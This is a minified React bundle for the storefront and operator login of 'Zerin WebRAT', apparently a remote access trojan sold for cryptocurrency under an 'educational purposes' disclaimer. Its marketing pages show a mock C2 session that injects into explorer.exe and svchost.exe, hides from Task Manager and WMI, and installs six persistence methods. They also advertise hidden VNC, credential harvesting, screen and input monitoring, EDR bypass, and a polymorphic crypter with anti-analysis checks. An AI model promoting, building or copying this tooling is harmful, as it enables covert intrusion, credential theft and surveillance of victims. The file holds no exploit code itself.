justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),a.jsxs("div",{children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:a.jsx("div",{className:"max-w-5xl mx-auto",children:a.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),a.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),a.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[a.jsxs("div",{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",a.jsx("span",{className:"text-zerin-accent",children:"active"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",a.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:a.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),a.jsxs("div",{children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),a.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),a.jsx("section",{className:"relative z-10 py-24 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),a.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:tA.map((u,d)=>a.jsx(iA,{feature:u,index:d},u.tag))})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:a.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[a.jsx($s,{value:256,suffix:"-bit",label:"Encryption"}),a.jsx($s,{value:12,suffix:"",label:"Persist Methods"}),a.jsx($s,{value:100,suffix:"%",label:"C2 Uptime"}),a.jsx($s,{value:0,suffix:"",label:"Disk Artifacts"}),a.jsx($s,{value:48,suffix:"",label:"Modules"})]})}),a.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),a.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[a.jsx("div",{className:"group relative",children:a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:a.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),a.jsxs("div",{className:"group relative",children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[a.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),a.jsxs("div",{className:"mt-8 text-center space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),a.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),a.jsxs(xt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Started"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function A5(){const e=m.useRef(null);return m.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function s(){t.width=window.innerWidth,t.height=window.innerHeight}s(),window.addEventListener("resize",s);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",s)}},[]),a.jsxs(a.Fragment,{children:[a.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),a.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const sy="zerin.pro",O5="zerpanel-67ontoplol.top";function Ex(){return window.location.hostname===sy||window.location.hostname===`www.${sy}`}function sA(){const e=hr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await KE({username:t,password:r}),Ex()){const f=st();if(f){window.location.href=`https://${O5}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof bi?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(A5,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[s&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:s})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),a.jsx("div",{className:"auth-stagger-5 pt-1",children:a.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",a.jsx(xt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function oA(){const e=hr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(""),[u,d]=m.useState(""),[f,p]=m.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==s){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}p(!0);try{if(await YE({username:t,password:r,license_key:l}),Ex()){const g=st();if(g){window.location.href=`https://${O5}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof bi)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{p(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(A5,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:u})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),a.jsxs("div",{className:"auth-stagger-5",children:[a.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"confirmPassword",type:"password",value:s,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),a.jsxs("div",{className:"auth-stagger-6",children:[a.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),a.jsx("div",{className:"auth-stagger-7 pt-1",children:a.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",a.jsx(xt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Jc(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),s=Math.floor(i/60),o=Math.floor(s/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:s<60?`${s}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function Tp(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function lA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Mo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Lo(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function to(e){return e.slice(0,8)}function T5(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function cA(e){return`data:image/bmp;base64,${e}`}function uA(e){return e.startsWith("Qk")}const Dn="w-3.5 h-3.5 flex-shrink-0",sn={eye:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 